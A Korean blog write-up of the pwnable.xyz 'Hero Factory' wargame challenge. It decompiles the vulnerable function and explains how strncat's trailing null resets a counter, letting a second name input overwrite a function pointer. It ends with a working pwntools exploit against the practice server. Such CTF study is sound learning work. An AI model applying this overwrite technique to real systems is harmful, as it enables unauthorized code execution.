블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] Hero Factory
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] Hero Factory

728x90

 

1. 문제


1) mitigation 확인 

PIE가 안걸려있다. 하지만 FUll RELRO이다 

 

 

2) 문제 확인 

슈퍼 히어로를 생성하면 스킬을 선택할수 있다. 그리고 2번 메뉴로 슈퍼파워를 사용하면 개소리가 출력된다. 3번 메뉴로 생성했던 슈퍼히어로를 삭제할 수 있다. 

 

 

3) 코드 확인 

  • create_hero() 함수
    unsigned __int64 createHero()
    {
      char *hero_name; // rax
      int v1; // eax
      int size; // [rsp+4h] [rbp-7Ch]
      char buf; // [rsp+10h] [rbp-70h]
      int v5; // [rsp+70h] [rbp-10h]
      unsigned __int64 v6; // [rsp+78h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      memset(&buf, 0, 0x60uLL);
      v5 = 0;
      if ( count )
      {
        puts("Br0, you already have a hero...");
        return __readfsqword(0x28u) ^ v6;
      }
      ++count;
      puts("How long do you want your superhero's name to be? ");
      size = getInt();
      if ( size < 0 || size > 0x64 )
      {
        puts("Bad size!");
        return __readfsqword(0x28u) ^ v6;
      }
      printf("Great! Please enter your hero's name: ");
      read(0, &buf, size);
      hero_name = strchr(hero_name_bss, 0);
      strncat(hero_name, &buf, 0x64uLL);
      printSuperPowers();
      v1 = getInt();
      if ( v1 == 2 )
      {
        power = (__int64 (*)(void))crossfit;
        strcpy((char *)&myHero, "crossfit");
        goto LABEL_19;
      }
      if ( v1 <= 2 )
      {
        if ( v1 != 1 )
          goto LABEL_17;
        power = (__int64 (*)(void))hadouken;
        strcpy((char *)&myHero, "hadouken");
    LABEL_19:
        puts("Superhero successfully created!");
        return __readfsqword(0x28u) ^ v6;
      }
      if ( v1 == 3 )
      {
        power = (__int64 (*)(void))wrestle;
        strcpy((char *)&myHero, "wrestling");
        goto LABEL_19;
      }
      if ( v1 == 4 )
      {
        power = (__int64 (*)(void))floss;
        strcpy((char *)&myHero, "flossing");
        goto LABEL_19;
      }
    LABEL_17:
      puts("not a valid power!");
      if ( count )
        zeroHero();
      return __readfsqword(0x28u) ^ v6;
    }

    해당 함수를 한번 호출하게 되면 count가 증가한다. count에 값이 들어있으면 해당 함수는 바로 종료가 된다. 따라서 create_hero() 함수는 딱 한번 호출 가능하다. 그리고 히어로 이름 사이즈를 입력하게 되고, 최대 0x64 사이 이름의 입력이 가능하다. 

     

    그다음 스킬을 선택하게 되는데, myHero라는 함수포인터에 각 입력한 인덱스에 맞는 함수포인터가 저장된다. 이 값은 메인 메뉴에서 2번 선택시 호출된다. 

     

    strchr() 함수로 bss영역에 존재하는 hero_name_bss 변수에서 널값을 찾는다. 초기에는 해당 영역이 0으로 초기화 되어있으므로 hero_name_bss 변수 주소 그대로 리턴하게 되고, 이 영역에 strncat 함수로 입력한 값을 이어붙인다. 

 

 

2. 접근방법


현재 우리가 입력할수 있는 공간은, hero_name_bss 영역이다. 

  • myHero : power 함수포인터가 들어감
  • count : create_hero 함수 호출시 1이 됨
  • hero_name_bss : 여기에 입력한 이름이 들어감
  • power : 스킬 함수포인터가 들어감

 

결국 우리가 입력하는 read함수부터 분석을 해야한다. 최대 100바이트 입력을 하게 되면 strncat으로 hero_name_bss에 꽉차게 입력값이 들어가는데, strncat 함수 특성상 마지막에 널값이 붙는다. 따라서 count가 0이 되고, create_hero함수를 여러번 호출가능하다. 그렇다면 두번째 crete_hero 함수를 호출하면, count+1 영역부터 입력값이 strncat으로 붙여진다. 

 

결국 7바이트 더미 + win함수 주소를 넣으면, power에 win함수 주소가 들어가고, 3번 메뉴를 이용하여 myhero 함수포인터에 담긴 win함수가 호출된다.  

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
p=remote("svc.pwnable.xyz",30032)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xCB8+$code\n')

p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*100)
p.sendlineafter("> ","5")

p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*7+p64(0x400A33))
p.sendlineafter("> ","5")

p.sendlineafter("> ","2")

p.interactive()

 

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] nin  (0) 2020.05.16
[pwnable.xyz] Dirty Turtle  (0) 2020.05.14
[pwnable.xyz] note v2  (0) 2020.05.13
[pwnable.xyz] badayum  (0) 2020.05.12
[pwnable.xyz] password  (2) 2020.05.12